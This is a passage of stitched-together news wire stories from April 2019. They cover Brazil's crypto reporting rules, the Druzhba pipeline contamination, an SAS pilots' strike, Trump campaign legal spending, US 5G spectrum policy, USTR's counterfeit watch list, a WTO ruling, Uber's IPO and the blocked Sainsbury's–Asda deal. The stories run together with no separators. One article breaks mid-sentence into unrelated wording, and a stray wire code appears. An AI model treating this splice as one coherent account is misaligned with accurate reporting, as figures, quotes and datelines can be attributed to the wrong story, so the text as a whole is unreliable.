comment. The U.S. Attorneys Office in D.C. declined to comment. Read more: DC Circuit Questions Broad Secrecy in Mystery Company's Mueller Fight Donald McGahn Once Said He Represented 'Pictures on the Wall,' Not Trump Mueller's Team Touts Skadden's 'Extensive' Cooperation in Foreign-Lobbying Case The Mueller Probe Was a Gift to the White-Collar Bar Brazils move towards cryptocurrency regulation took a step closer this month as the government in Brasilia agreed and published instruction 1888. The instruction passes new rules that come into force on August 1, meaning that individuals, legal entities and brokerage firms that carry out operations with crypto will have to inform the treasury of every detail of their transactions. The main goals of this regulation are to combat tax evasion and avoid crimes such as money laundering. Until the legislation becomes active, Brazils cryptocurrency market is in a strange state of limbo. It has been a great market and one with potential for being greater still with millions of dollars being negotiated, but the lack of control over these Cryptocoins or virtual currencies differ from all that we are accustomed in the banking system, and can be defined as a form of money, but purely virtual and not issued by any government, whose value is determined by the open market and has become popular and valued over the traditional currencies. It is undeniable that the Brazilian digital currency market is growing really fast. Nowadays, there are more investors in this market than the Sao Paulo Stock Exchange, B3, which has about 800,000 registered individuals. Still, according to the agency, last year, only negotiations with Bitcoins moved more than $8bn in the country. Worried about that, at the end of 2018 the Brazilian Federal Revenue promoted a public consultation with the purpose of elaborating a regulation about the operations with cryptocurrency in Brazil. The fact is that without legislation, cryptocurrency can be used as an instrument of tax evasion and money laundering, for example. The only orientation existing in Brazil is the one provided by the Federal Revenue website, which indicates that cryptocurrencies are assets and must be informed to the authorities by people who pursue it. Insufficient So, as the legislation is insufficient, it was prepared by the Federal Revenue (RFB), the public consultation RFB number 006/2018 sought to listen to the population about the changes they deem appropriate regarding the proposals of a new Normative Instruction to be issued by the RFB. It ensures that institutions operating with cryptocurrency in Brazil will have to inform, on a monthly basis, all operations carried out by its clients so that the Revenue can control the movements of these assets. The aim is to prevent the use of cryptocurrency as a way to evade taxes, hide assets and other crimes such as money laundering. The goal of Federal Revenue is to implement a system similar to the one used in Japan, whereby brokerage firms control and pass on the information to the Treasury. Actually, it will be easier to control the operations, because today, the information is currently borne by the taxpayers in their income tax return. Story continues The idea of the Federal Revenue, in short, is to cross the information of the new statement with those contained in the Income Tax of individuals and companies, who are already obliged to declare to the Treasury the possession of virtual currencies annually, and thus to gauge with greater precision the capital gains obtained by the investors with purchase and sale operations. Brazilian digital currency brokers will be obliged to send, monthly, a list of the customers who bought or sold these assets, as well as the updated position of their investments. Anyone who deals with cryptocurrencies through brokers established outside the country or transacts directly with other people, without going through brokerage firms, will also be required to report monthly to the authorities. Protect Despite this public consultation, there is a bill in Congress number 2.303/15 interpreting virtual currency as a payment arrangement. The purpose of the bill is to reduce the risks of virtual currencies against the financial stability of the economy, reduce their ability to finance illegal activities, and protect the consumer from possible abuse. As we can see, these measures of the Federal Revenue and the bill in Congress seek to trace cryptocurrencies in Brazil. On the other hand, they can greatly harm the commerce and the companies that operate in national territory in view that this oversight can drive away new investors and migrate traders, thefts and users to overseas platforms, which are not required to provide clarification to RFB. The post The regulation of cryptocurrency in Brazil and the rise of traceability appeared first on Coin Rivet. JAKARTA, April 26 (Reuters) - * A consortium led by Spain's Repsol is advancing their first production schedule from Saka Kemang oil and gas block in South Sumatra by 2 years, Indonesia's deputy energy minister Arcandra Tahar said in a statement on Friday * Repsol now aims to start production in Saka Kemang within 3 years, from previously 5 years, Tahar said after a meeting with Reposol's chief executive in Madrid * "The government will lend its full support so this target can be realised," Tahar said, adding that the government will ensure faster administrative and approval process for the project * Repsol in February said the consortium has found a new gas resource in Indonesia's Saka Kemang block with an estimated at least 2 trillion cubic feet, the largest discovery in Indonesia for 18 years, the company said (Reporting by Wilda Asmarini, Writing by Fransiska Nangoy; editing by Rashmi Aich) By Katya Golubkova and Andrei Makhovsky MOSCOW/MINSK (Reuters) - Russia is confident it can soon resolve a problem of polluted Russian oil contaminating a major pipeline serving Europe and affecting supplies as far west as Germany, a senior official said on Friday at talks with importers about the issue. Russian Deputy Energy Minister Pavel Sorokin did not give a precise timeframe but Moscow has previously said it would pump clean oil to the border with Belarus from April 29, seeking to end a crisis hitting the world's second-largest crude exporter. Sorokin was speaking at talks with officials from Belarus, Poland and Ukraine in Minsk on the issue. Belarus said the issue had cost it $100 million, while analysts say alternative supply routes for refiners cannot fully fill the gap. {nR4N22601X] Poland, Germany, Ukraine and Slovakia have suspended imports of Russian oil via the Druzhba pipeline. Halting those supplies has knock-on effects further along the network. The problem arose last week when an unidentified Russian producer contaminated oil with high levels of organic chloride used to boost oil output but which must be separated before shipment as it can destroy refining equipment. Russia's Energy Ministry said pipeline monopoly Transneft and other Russian companies had a plan to mitigate the effects of the contaminated oil. It did not give details. Russian officials have said contaminated oil has already been pumped into storage in Russia and Friday's talks would focus on how to partially withdraw the tainted crude from the Druzhba pipeline running via other countries. The suspension cuts off a major supply route for Polish refineries owned by Poland's PKN Orlen and Grupa Lotos, as well as plants in Germany owned by Total, Shell, Eni and Rosneft. Some refiners have outlined plans for alternative supplies, but analysts say other routes cannot meet the shortfall. OIL PRICES Ukraine's Ukrtransnafta suspended the transit of oil through the pipeline on Thursday, closing supplies via Druzhba's southern route to Slovakia, the Czech Republic and Hungary. Story continues The pipeline issue, which has supported global oil prices, lifted Russian Urals crude differentials to an all-time high on Thursday. [O/R] With pipeline supplies to Europe shut, Russia faces a challenge of how to divert about 1 million barrels per day (bpd) that was meant to be shipped through the network to other destinations at the time when export capacity is at its limits. State-run Russian Railways held talks with energy firms on using up to 5,000 rail tankers to transport crude, RIA news agency reported on Friday. Concerns about the quality of Urals crude also caused delays in loadings at the Baltic port of Ust-Luga, when buyers refused to lift cargoes, resulting in a brief shutdown of the port on Wednesday and Thursday. An Ust-Luga official and traders said on Friday loadings had resumed. Russian loading plans indicate it aims to boost Urals exports in May before the expiry of a deal on output cuts agreed with the Organization of the Petroleum Exporting Countries and its allies, Reuters calculations and Energy Ministry data show. The provisional loading plan for Russia's Baltic Sea ports and Novorossiisk in May show exports rising to 10.7 million tonnes, the highest level in half a decade. Minsk estimated its loss from lower oil product exports due to contaminated Russian oil at around $100 million, Russia's Interfax news agency reported on Thursday, citing Belarusian state oil company Belneftekhim. Russian Deputy Prime Minister Dmitry Kozak, in charge of government energy policy, said this week that those found responsible for contaminating the oil could be fined. He did not provide names. (Reporting by Agnieszka Barteczko in WARSAW, Sandor Peto in BUDAPEST, Jason Hovet in PRAGUE, Matthias Williams and Natalia Zinets in KIEV, Katya Golubkova, Olesya Astakhova, Gleb Gorodyankin, Olga Yagova and Maxim Rodionov in MOSCOW, Andrei Makhovsky in MINSK; writing by Katya Golubkova; editing by Michael Perry and Edmund Blair) By Clement Uwiringiyimana KIGALI, April 26 (Reuters) - Rwanda's biggest brewer, Bralirwa Ltd, said on Friday pretax profit rose 33 percent to 10.3 billion Rwandan francs ($11.39 million) in 2018, boosted by sales of its premium brand Mutzig. The rise in sales of premium beer offset weaker sales of its other beers and soft drinks, the beverage company, a subsidiary of Heineken N.V., said. Volumes fell by 13 percent to 1.7 billion Rwandan francs ($1.88 million) in 2018, it said. Bralirwa is Rwanda's oldest brewery and has the right to produce beer brands such as Amstel. It also produces branded soft drinks such as Coca-Cola. Last year it launched local production of Heineken with a plan also to export it to neighboring countries. But Bralirwa said the strained relations between Rwanda and its neighbours Burundi and Uganda were affecting exports. "This is something we hope will not last long. It being a landlocked country, it needs other countries for us to have access to the sea," said Merid Demissie, its managing director. "This is extremely important for us. The impact is not big but we definitely need those markets." The company exports around 5 percent of its total volume to the region but did not give specific details on exports to Burundi and Uganda. Bralirwa said its earnings per share have risen to 5.5 Rwandan francs ($0.0061), up from 3.75 Rwandan francs ($0.0041)in 2017. ($1 = 904.6947 Rwandan francs) (Reporting by Hereward Holland, editing by Louise Heavens) People are seated after flights were cancelled by Scandinavian Airlines, at Oslo Airport in Gardermoen, Norway, Friday, April 26, 2019. Pilots for Scandinavian Airlines have launched an open-ended strike following the collapse of pay negotiations, forcing the company to cancel almost all its flights. (Ole Berg-Rusten/NTB Scanpix via AP) People are seated after flights were cancelled by Scandinavian Airlines, at Oslo Airport in Gardermoen, Norway, Friday, April 26, 2019. Pilots for Scandinavian Airlines have launched an open-ended strike following the collapse of pay negotiations, forcing the company to cancel almost all its flights. (Ole Berg-Rusten/NTB Scanpix via AP) COPENHAGEN, Denmark (AP) Pilots for Scandinavian Airlines on Friday launched an open-ended strike following the collapse of pay negotiations, forcing the company to cancel virtually all its flights 673 of them, affecting 72,000 passengers. The Stockholm-based carrier said talks on a new collective bargaining agreement with the SAS Pilot Group, which represents 95% of the company's pilots in Sweden, Denmark and Norway, collapsed early Friday. SAS flies both short- and long-haul routes, including to busy regions like North America. In airports throughout Scandinavia, SAS staffers in yellow vests were helping stranded passengers to rebook or obtain refunds. Mina Kvam Tveteraas and her friend Bettina Svendsen were stranded at Stavanger Airport in Norway after their flight to Copenhagen was canceled. "We have booked a hotel for three nights and the rooms are not refunded," Kvam Tveteraas told Norway's TV2 channel. "I have no idea what to do and I'm mad." "I regret this deeply," SAS CEO Rickard Gustafson said. "We will do everything in our power to end the conflict as soon as possible." The pilots' negotiations that started in March mainly centered on salary increases and working hours. Details have not been released but the pan-Scandinavian union says it wants salaries to be in line with the market rate, while SAS negotiators have called the requests "unreasonable and extreme." SAS spokeswoman Karin Nyman said the pilots' demands "would have very negative consequences for the company." Wilhelm Tersmeden, chairman of the Swedish pilots association, said SAS employees are facing "deteriorated working conditions, unpredictability in planning work hours and insecurity for their own job." "Almost one in four SAS flights is flown by subcontractors and we want to know what our future looks like," he told Sweden's TT news agency. Jacob Pedersen, an analyst with Denmark's Sydbank, estimated the strike in average would cost between 60 million and 80 million Swedish kronor ($6.3-8.4 million) a day. Story continues The strike "makes it clear that SAS is more vulnerable than we previously expected," he said. "Competition is tough, and with a European economy moving at a slower pace, SAS may also fight harder for profits this year." Swedish media cited SAS as saying the airline would cancel "a large number of flights" on Saturday, affecting another 34,000 passengers. The company said the strike doesn't include flights operated by SAS partner airlines, making up approximately 30% of its departures, and is not expected to affect other airlines' departures and arrivals. NEW YORK, April 25, 2019 (GLOBE NEWSWIRE) -- Pomerantz LLP is investigating claims on behalf of investors of Mobile TeleSystems Public Joint Stock Company (Mobile TeleSystems or the Company) (NYSE: MBT). Such investors are advised to contact Robert S. Willoughby at rswilloughby@pomlaw.com or 888-476-6529, ext. 9980. The investigation concerns whether Mobile TeleSystems and certain of its officers and/or directors have engaged in securities fraud or other unlawful business practices. [Click here to join a class action] On November 20, 2018, Mobile TeleSystems disclosed that it had reserved approximately $840 million to cover potential liability concerning investigations by the U.S. Securities and Exchange Commission (SEC) and Department of Justice (DOJ) into the Companys former operations in Uzbekistan. On this news, Mobile TeleSystems American depositary receipt (ADR) price fell $0.64 per share, or nearly 8%, to close at $7.45 per share on November 20, 2018. Then, on March 7, 2019, the DOJ announced that Mobile TeleSystems and its subsidiary had entered into an agreement with the DOJ and SEC to pay a combined $850 million in penalties to resolve charges arising from its role in a scheme to pay $420 million in bribes in Uzbekistan. Following this announcement, Mobile TeleSystems ADR price fell $0.24 per share, or 3.08%, to close at $7.54 per share on March 7, 2019, damaging investors. The Pomerantz Firm, with offices in New York, Chicago, Los Angeles, and Paris, is acknowledged as one of the premier firms in the areas of corporate, securities, and antitrust class litigation. Founded by the late Abraham L. Pomerantz, known as the dean of the class action bar, the Pomerantz Firm pioneered the field of securities class actions. Today, more than 80 years later, the Pomerantz Firm continues in the tradition he established, fighting for the rights of the victims of securities fraud, breaches of fiduciary duty, and corporate misconduct. The Firm has recovered numerous multimillion-dollar damages awards on behalf of class members. See www.pomerantzlaw.com. John Moore/Getty Images(WASHINGTON) -- Since President Donald Trump took office in 2017, his re-election campaign has spent more than $8 million in legal fees, according to ABC News' analysis of campaign finance records through last month, with record-breaking quarterly expenditures doled out in the last three months of special counsel Robert Mueller's investigation into Russian meddling during the 2016 presidential campaign. Between January and March 2019 alone the Trump campaign spent nearly $1.7 million on legal expenses more than $1.2 million of which went to former White House Counsel Donald McGahn's firm, Jones Day, which has represented Trump and the Trump campaign since his first presidential campaign in 2015. Even after McGahn left for the White House gig in 2017, McGahns firm remained as the biggest recipient of the Trump campaign's legal expenses, earning more than $5.6 million. Payments to Jones Day, however, are expected to drop moving forward as the Trump campaign recently hired a new in-house legal team for its 2020 reelection bid, as first reported by Politico and confirmed by ABC News. The Trump campaign has helped pay legal bills for a number of current and former Trump associates caught up in various investigations and lawsuits, including the president's son Donald Trump Jr. and son-in-law Jared Kushner. For a time, the Trump campaign also paid portions of Michael Cohen's legal fees, as ABC News has previously reported, before the relationship between the president and his former longtime personal attorney went south late last year, thus dissolving their joint defense agreement. Another notable legal expense went to Belkin Burden Wenig & Goldman which was paid $76,415 in the first three months of 2019. The firm was paid just $55,668 throughout 2018. Belkin Burden Wenig & Goldman is the same firm that represented the Trump Organization in In 2016, in the Trump University lawsuit, which resulted in the organization being ordered to pay a $25 million settlement to attendees of the now-defunct real estate seminar. The Trump campaign was not available for comment. To put the Trump campaign's more than $8 million in legal expenditures into perspective, former President Barack Obama's re-election campaign, over the same period of time, spent only about $2.7 million in legal fees, according to campaign finance reports. Former President George W. Bush's re-campaign, for its part, spent only about $260,000 in legal fees in the first two years of his presidency, records show. It's hard to compare how much in legal fees were paid by the re-election campaign of former President Bill Clinton, who was buried in various investigations during the course of his presidency, because of the changes in the way campaign expenditure are reported to the FEC as well as the timeline and the nature of the legal battles Clinton was involved in. But for a general comparison, Clinton told NBC's Craig Melvin in June last year that he "left the White House $16 million in debt" because of attorney fees incurred by scandal investigations and the impeachment proceedings. In addition to the $8 million spent by the Trump campaign, other political sources have chipped in to share the campaigns burden. The Republican National Committee, for example, has helped pay legal bills for various Trump's associates, including at least about $200,000 for Trump Jr. and more than $589,000 for former White House Communications Director Hope Hicks. A separate legal defense fund, dubbed the Patriot Legal Expense Fund Trust, reported raising more than $853,000 from top Trump donors including $500,000 from Las Vegas casino mogul Sheldon Adelson and his wife and $150,000 from New York waste management executive and Mar-a-Lago member Anthony Lomangino. The Patriot Legal Expense Fund Trust, which assists current and former campaign and administration volunteers and staffers caught up in the special counsels investigation excluding Trumps relatives-- shelled out a total of about $457,000 in legal bills through December, according to disclosure reports. The identities of those supported by the fund remain under wraps. Copyright 2019, ABC Radio. All rights reserved. FILE PHOTO: A Shell sign at one of the oil major's petrol stations in Ulm, Germany, April 6, 2017. REUTERS/Michaela Rehle/File Photo AMSTERDAM (Reuters) - Employees of Royal Dutch Shell on Friday decided to stop their strike action in the Netherlands, after unions agreed to a new wage offer by the oil and gas company. Strikes which started on April 8 at the 400,000 barrel per day Pernis refinery, Europe's largest, and the Moerdijk plants will be suspended while union members vote on final approval of the offer put forward by Shell, union CNV said. (Reporting by Bart Meijer; Editing by Kirsten Donovan) Gingrich Opens Rift With Trump on 5G: `We Are Losing to Huawei' (Bloomberg) -- Former GOP House Speaker Newt Gingrich assailed the Trump administrations strategy for rolling out 5G wireless technology, saying the U.S. risks forfeiting leadership to Chinas Huawei Technologies Co. and joined critics from both parties who urge a focus on different airwaves. We are losing to Huawei, Gingrich said Thursday in an interview, calling for dramatically better leadership out of the White House than were getting now. Gingrich, usually a reliable supporter of President Donald Trump, says the government is betting on the wrong type of airwaves, a view shared by Democratic and Republican members of the U.S. Federal Communications Commission. They say the nation should move swiftly to frequencies that can carry signals farther. The former Georgia lawmaker spoke less than two weeks after Trump touted his strategy at a White House event, saying the U.S. must win the race for 5G and said the FCC is is taking very bold action. The involvement by Gingrich heightens attention on the multi-billion dollar debate over how best to build a the new, super-fast network that promises to transform everything from cars to video feeds and household appliances via millions of connected devices, including mobile phones. FCC Commissioner Jessica Rosenworcel has said the agency is turning to high-frequency airwaves while other countries have chosen lower frequencies that carry signals greater distances. On Thursday, FCC Commissioner Michael ORielly, a Republican, said at a New York conference that the agencys actions on the lower frequencies havent been on par leaving supply nowhere close to meeting demand. Both Verizon Communications Inc. and AT&T Inc. are using high-frequency airwaves as part of their nationwide 5G efforts. But the signals require three to four times as many cell sites as the current 4G networks. Walt Piecyk, an analyst with BTIG LLC, tested Verizons 5G service in Chicago. He found it to be a very fast but limited to an area of about 200 feet. For better coverage, he says Verizon needs to add more midrange airwaves to its network. Story continues The current state of Verizons 5G network is hardly reliable, Piecyk said. On Wednesday, Verizon Chief Executive Officer Hans Vestberg said the high-frequency airwaves have lived up to our expectation on performance. Were very early on in -- in improving the software, how we can deal with it, Vestberg said during an earnings call. The FCC, led by Republican Chairman Ajit Pai, rejects the notion that it gives undue emphasis to high frequencies. 5G Fast Strong 5G networks will require low-, mid-, and high-band spectrum. Thats why the FCCs 5G FAST Plan focuses on making all three available, Neil Grace, a spokesman, said in an email. He said the FCC plans to auction a swath of lower-frequency airwaves next year, and is examining two other swaths for action. The 5G technology rides over radio waves, and the FCC is in the midst of a years-long effort to find ways to accommodate current users while opening frequencies for the new service. Recently the agency commenced two auctions to sell rights to high-frequency spectrum, and it announced a third such sale on April 12, with Pai appearing alongside Trump at the White House. The high-frequency airwaves carry a lot of information, and do so very quickly -- but they dont travel far. Coverage can be limited to a few hundred yards. The lower frequencies called for by Gingrich and other critics dont carry as much data as quickly as the high frequencies. But they go farther, allowing coverage in areas outside dense cities and suburbs. Many of the airwaves needed are designated for military use, and the Defense Department has been loath to allow civilian uses, said Gingrich. Its been breathtaking how hostile the Defense Department bureaucracy is, Gingrich said, adding that he has no economic interest in the issue. The rest of the world is using the lower-frequency airwaves as it pursues 5G development, according to the Defense Innovation Board, a federal advisory committee that informs the secretary of defense. The United States may find itself without a global supply base if it continues to pursue a spectrum range divergent from the rest of the world the board said in its April 3 report, adding that it is likely that China, the current leader in that space, will lead the charge. Chinas handset and internet applications and services are likely to become dominant, even if they are excluded from the U.S. That dominance could be exercised by Huawei, which spent $15.3 billion on research last year as it seeks to dominate the next generation of wireless service. The Trump administration accuses the Shenzhen-based company of potentially aiding Beijing in espionage -- something it has repeatedly denied -- and is orchestrating a campaign to block it from 5G rollouts around the globe. Tough Sale The board recommended that the Pentagon share airwaves with other users. Already the FCC has devised one model, allowing commercial providers to use airwaves assigned to Navy radar. Current attitudes make more sharing a tough sale, said Rob Spalding, a retired Air Force brigadier general who is now a senior fellow at the Hudson Institute, a policy group. In terms of getting the Defense Department to share, I would call that completely dead, Spalding said. He cited reluctance from the Pentagon. They view 5G as a civilian problem and not their responsibility, so why would they commit their airwaves?" Carriers recognize you need all types of spectrum to get the most potential out of 5G, Tom Power, general counsel of CTIA, a trade group, said in an interview. The U.S. is leading the world in terms of making high-band available. The FCC is working to make mid-band available, and we welcome all these efforts. Wholesale Network Theres no need for a wholesale network, in part because carriers invest heavily and already sell wholesale access to providers such as TracFone Wireless Inc., Power said. We dont need to modify a model that has been effective for years in allowing the U.S. to lead in wireless deployment and investment, he said. Trump at the White House event rejected an alternative of leading through the government saying we dont want to do that because it wont be nearly as good, nearly as fast. Republican strategist Karl Rove has registered to lobby for Rivada Networks LLC, a closely held company led by an Irish executive who wants to use airwaves now devoted to Pentagon uses for a wholesale 5G network that would be offered to multiple providers. Declan Ganley, Rivadas chief executive officer, said he welcomed Trumps rejection of a government-run network. Rivada would pay the government for using shared airwaves, Ganley said. He said there a real willingness among Pentagon officials to allow use of airwaves when military functions dont need the frequencies. What were looking to do is build a privately funded, privately led, privately operated wholesale open-access 5G network, Ganley said in an interview. Rivada has assembled a board that includes former Florida Governor Jeb Bush, a Republican, and former Maryland Governor Martin OMalley, a Democrat, and former Sprint Corp. Chief Financial Officer Joseph Euteneuer. Rivada lost a battle in 2017 with AT&T for a contract to run a national network for emergency workers. A federal judge agreed with an assessment that Rivada, while offering a low-priced service, appeared to lack financial capacity and didnt show it could attract customers. The officials didnt consider Rivadas partners, said Brian Carney, a spokesman for the company. --With assistance from Scott Moritz. To contact the reporter on this story: Todd Shields in Washington at tshields3@bloomberg.net To contact the editors responsible for this story: Jon Morgan at jmorgan97@bloomberg.net, John Harney For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. (Reuters) - The United States on Thursday added China's third-largest e-commerce platform to its list of "notorious markets" for violations of intellectual property rights and kept China on its priority watch list for piracy and counterfeiting concerns. The U.S. Trade Representative's Office placed Pinduoduo.com, which USTR described as third largest by number of users, on its blacklist of commercial marketplaces that fail to curb the sale of counterfeit products. It also kept Alibaba Group's taobao.com, China's largest e-commerce platform, on the list. USTR's annual review of trading partners' protection of intellectual properties rights and so-called "notorious markets" comes as the United States and China are embroiled in negotiations to end a tit-for-tat tariff battle that has roiled supply chains and cost both countries billions of dollars. The two countries are due to resume talks in Beijing next week. China's inclusion on the list "reflects the urgent need to remediate a range of intellectual property-related concerns," a USTR official told reporters on a call to discuss the report. He noted longstanding concerns that have been voiced by the Trump administration in the trade talks, including "coercive" technology transfer requirements, widespread copyright infringement and "rampant" piracy and counterfeiting. The official declined to discuss how the talks with China were going, but said that additional actions using Section 301 of the Trade Act of 1974 were possible. The United States has levied tariffs on $250 billion worth of Chinese goods under the act. Of Pinduoduo.com, USTR said in the report: "Many of (the site's) price-conscious shoppers are reportedly aware of the proliferation of counterfeit products on pinduoduo.com but are nevertheless attracted to the low-priced goods on the platform." While Alibaba has taken steps to address counterfeit products offered and sold on the Taobao marketplace, companies continue to see widespread infringement, USTR said. A spokesperson for Alibaba said the company disagreed with USTR's decision to keep it on the list, adding the company's practices are considered "best-in-class" by industry members. "In fact, zero industry associations called for our inclusion in the report this year. We will continue to wage this fight against counterfeiters," Brion Tingler, head of external affairs, said in an emailed statement. ADDITIONAL ENGAGEMENT A total of 36 countries were on this year's overall watch list of trade partners warranting additional bilateral engagement over these issues, including Russia and India. In addition, USTR raised Saudi Arabia to include it among 11 countries on the priority list. The bump-up in Saudi Arabia's status as a concern was in part due to an illicit service for pirated content called BeoutQ, the report said. Despite "extensive engagement" in Saudi Arabia by both U.S. government and private stakeholders, treatment of intellectual property rights "continued to deteriorate," USTR said. Canada was removed as a priority because of commitments made in the U.S.-Canada-Mexico trade pact agreed in 2018. It remained on the overall watch list, however. Tajikistan was removed from the list due to "concrete steps" to improve its intellectual property regime, the agency said. USTR also called out free trade zones as places where counterfeiting can be rampant. In thousands of such zones across 130 economies, including in Hong Kong, Dubai and Singapore, manufacturers and logistics companies are subject to different customs regulations and duties than they are elsewhere, it said. The more "barrier-free" environment can draw illegal activity like the trade and manufacture of counterfeit and pirated goods without proper oversight, USTR said. (Reporting by Chris Prentice in New York and David Lawder in Washington; editing by Chizu Nomiyama and Sonya Hepinstall) By Tom Miles GENEVA (Reuters) - The United States said on Friday a World Trade Organization ruling on national security was "seriously flawed", a warning not to use it as a precedent to judge U.S. President Donald Trump's tariffs on imported steel and cars. The legal case in question was between Russia and Ukraine and did not directly involve the United States. But it was the first WTO ruling on "national security", the basis for U.S. tariffs imposed last March on aluminum and steel imports and a planned U.S. tariff on imported cars. The ruling earlier this month clarified the limits of "national security" as a defense for breaking WTO rules against unjustified tariff barriers to trade. Any such claim should be "objectively" true, relating to weapons, war, fissionable nuclear materials or an "emergency in international relations", according to the ruling. Both Russia and Ukraine decided not to appeal, clearing the way for final adoption of the ruling at Friday's meeting of the WTO's dispute settlement body. A U.S. diplomat told the meeting that the ruling was "unpersuasive" and "problematic for systemic reasons", according to an official who attended the meeting. The U.S. diplomat said the panel of three adjudicators had not sufficiently examined the argument that invocation of national security was "self-judging" - which would essentially shield the U.S. tariffs from any WTO challenge. The U.S. diplomat also said the panel's conclusions were premature and not up to the standards of international law, and that it should not have made the case for Russia by defining what constituted an "emergency" in international relations. Diplomats from the European Union, Canada, China, Turkey, Australia and Mexico welcomed the ruling and the burden that the panel had imposed on any WTO members making national security claims. The WTO's dispute system has acted as a bulwark against global protectionism since it was set up in 1995, but since Trump's election it has become a battleground for arguments about U.S. trade policies. Story continues Trump has blocked appointments of WTO appeals judges to stop what he sees as unfair treatment of U.S. trade policies, but critics fear the block could potentially cripple the WTO, and 75 WTO members have asked the United States to back down. A further threat to the WTO dispute system arose last month when Venezuela put a row with the United States on the agenda, prompting the postponement of the meeting because Washington does not recognize the government of President Nicolas Maduro. That could have caused an indefinite disruption, but Venezuela chose not to bring its complaint to Friday's meeting. (Reporting by Tom Miles; Editing by Mark Heinrich) (Bloomberg) -- Early investors and employees of Uber Technologies Inc. are planning to sell about $1.3 billion worth of stock in the ride-hailing firms initial public offering. Benchmark is the biggest seller, offering 5.7 million of its shares, according to a regulatory filing Friday. That would fetch about $270 million at the middle of the listings current $44 to $50 price range. SoftBank Group Corp. is offering 5.5 million shares, while Uber co-founders Travis Kalanick and Garrett Camp expect to sell holdings worth $176 million and $147 million, respectively. Saudi Arabias sovereign wealth fund and Alphabet Inc. havent offered any of their shares for sale. The selling shareholders will still control about $36 billion worth of the San Francisco-based firms stock after the offering, according to calculations by Bloomberg. Uber is planning to offer 180 million shares and is seeking to raise as much as $9 billion, the filing shows. That would give the firm a market value of as much as $84 billion. Other Uber investors selling holdings include venture capital firms Lowercase Capital and First Round Capital, as well as private equity firm TPG. Early employee Oscar Salazar has a stake of about $250 million and is planning to sell about $10 million worth of shares. Uber is expected to debut on the New York Stock Exchange May 10. --With assistance from Eric Newcomer. To contact the reporter on this story: Tom Metcalf in London at tmetcalf7@bloomberg.net To contact the editors responsible for this story: Pierre Paulden at ppaulden@bloomberg.net, Steven Crabill For more articles like this, please visit us at bloomberg.com 2019 Bloomberg L.P. * Regulator said combination would lead to price rises * Sainsbury's, Walmart and Asda terminate transaction * Sainsbury's CEO says still confident in strategy * ASDA to have resources to be strong UK retailer -Walmart (Adds investor comment, updates shares) By James Davey, Paul Sandle and Nandita Bose LONDON/BENTONVILLE, Ark., April 25 (Reuters) - Britain's competition regulator on Thursday blocked Sainsbury's proposed 7.3 billion pound ($9.4 billion) takeover of Walmart-owned Asda - a huge blow to the supermarket groups who wanted to combine to overtake market leader Tesco. The Competition and Markets Authority (CMA) ruling is also a major setback for Sainsbury's Chief Executive Mike Coupe, the architect of the deal and the group's boss since 2014. For Walmart, the deal was a way to exit Britain, one of the weakest performers in its global portfolio, as it moves to revamp its international operations. Sainsbury's Coupe made unwanted headlines when he was caught on camera singing: "We're in the money" shortly after the deal was announced last April. Analysts said questions will be raised over his future after it failed to win approval. The deal would have resulted in a substantial lessening of competition at both a national and local level, with prices rising in stores, online and at petrol stations, the CMA said. Coupe took issue with the CMA's analysis. "The specific reason for wanting to merge was to lower prices for customers," he said in a statement. "The CMA's conclusion that we would increase prices post-merger ignores the dynamic and highly competitive nature of the UK grocery market. The CMA is today effectively taking 1 billion pounds out of customers' pockets." Sainsbury's, Walmart and Asda said they had mutually agreed to terminate the transaction, opting not to challenge the CMA's ruling through the courts. Walmart International CEO Judith McKenna said she was disappointed but will focus on positioning ASDA as "a strong UK retailer delivering for customers. Walmart will ensure Asda has the resources it needs to achieve that," she said. Story continues Analysts and investors in the United States said the deal's failure is a setback for Bentonville, Arkansas-based Walmart, slowing the drive towards profitability in its overseas operations. The U.S. retailer has been focused on turning around its international business by targeting higher growth markets such as China and India and exiting or tying up with local players elsewhere. For instance, it sold a majority stake in its Brazilian business and acquired a majority interest in Indian e-commerce company Flipkart in its biggest-ever deal last year. Nevertheless, analysts believe the company will recover. "It is a sticking point but not a disaster," said Laura Kennedy, vice president, retail sales and shopper practice at Kantar Consulting. "They were going to keep share in ASDA and were not completely cutting it loose." Jason Benowitz, fund manager with the Roosevelt Investment Group, said Walmart can afford to be patient with ASDA. "This news is an obstacle to maneuver around but hardly a crisis from Bentonville's perspective," he said, adding that UK sales at Walmart make up only 6 percent of its total worldwide revenue. A source with direct knowledge of the matter said Walmart is in no rush to make a decision on the fate of the business, pointing to ASDA's recently improved performance. ASDA has reported seven consecutive quarters of growth, helped by improvements in its e-commerce operations and low prices. It also leapfrogged Sainsbury's last month to become the second-biggest supermarket operator behind Tesco Plc in the UK, according to data from Kantar. Shares in Sainsbury's were down 4.7 percent in London, extending their losses over the last three months to 23 percent. Walmart was up 0.1 percent per share in New York. SHOPPERS WORSE OFF After delivering a damning provisional report in February, the CMA's final report was equally stern, finding that UK shoppers and motorists would be worse off if Sainsbury's and Asda combined. "We have concluded that there is no effective way of addressing our concerns, other than to block the merger," said Stuart McIntosh, chair of the CMA inquiry group. In the past year, Sainsbury's share of the UK grocery market has dropped from 15.8 percent to 15.3 percent, while Asda's has fallen from 15.6 percent to 15.3 percent, according to Kantar data. All of the UK's big four grocers have lost share to German discounters Aldi and Lidl, which now have a combined 13.6 percent share. Tesco has 27.4 percent. Sainsbury's and Asda have argued their share of the total market for food was smaller than the data indicated because of the emergence of new players like delivery services, but the regulator was not persuaded. Coupe said he was confident in Sainsbury's strategy, which focuses on own-brand products, and on the quality, provenance and ethical credentials of its food. IMPLICATIONS The implications of the deal failing are likely to be significant. Some analysts believe Sainsbury's will have to undergo a major shake-up that could see new Chairman Martin Scicluna part company with Coupe. Analysts at Jefferies believe the risk of a reinvigorated market leader Tesco continuing to recover customers historically lost to Sainsbury's needs to be urgently addressed. With one potential exit route from Britain for Walmart blocked, analysts have said the U.S. group might instead consider a stock market listing of Asda or try to sell it to private equity. Walmart acquired ASDA in 1999 and the acquisition has since generated cash and paid more than 3 billion pounds ($3.87 billion) in dividends to its U.S. parent. The Sunday Times reported in February that private equity group KKR was mulling an offer for Asda. But both of these avenues are problematic. "The problem with the idea of private equity is that the only way PE makes money is to have its own exit, and there isnt one because you cant break-up Asda now," one senior UK supermarket director told Reuters. "The problem with an IPO is what growth prospects are you selling? The story to investors is not a very good one," he said, adding that Walmart may decide to run Asda as a profit center and simply instruct CEO Roger Burnley to make them more money. ($1 = 0.7760 pounds) (Reporting by James Davey, Paul Sandle in London and Nandita Bose in Bentonville, Arkansas; Editing by Keith Weir, Susan Thomas and Paul Simao) Drilling Success, Stimulation Programme Agreed, Focus 